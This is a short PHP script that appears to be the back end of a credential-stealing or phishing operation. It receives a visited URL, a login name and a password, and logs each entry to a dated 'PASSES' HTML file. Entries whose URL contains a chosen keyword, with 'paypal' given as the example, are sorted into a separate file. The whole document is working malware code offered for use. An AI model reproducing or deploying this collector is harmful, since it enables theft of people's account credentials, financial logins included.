<?php
//All the  URL's that contain this string ("paypal" is just an example) will be stored in an extra file ("paypal_"+date+".htm)
$Key="paypal";
//All the  URL's that contain this string ("paypal" is just an example) will be stored in an extra file ("paypal_"+date+".htm)



$datumlog = date("d.m.Y");
$dateihandles = fopen($Key."_".$datumlog.".htm", "a");
$dateihandle = fopen("PASSES_".$datumlog.".htm", "a");
$daten = "Resource:<a href=\"".$R."\">".$R."</a> \\\ Login:".$L." \\\ PW:".$P."\n <hr>" ;


if (strlen(ereg ($Key,$R)) > 0)  {

 fwrite($dateihandles, $daten);
 fclose($dateihandles);

}else{

 fwrite($dateihandle, $daten);
 fclose($dateihandle);

};
?>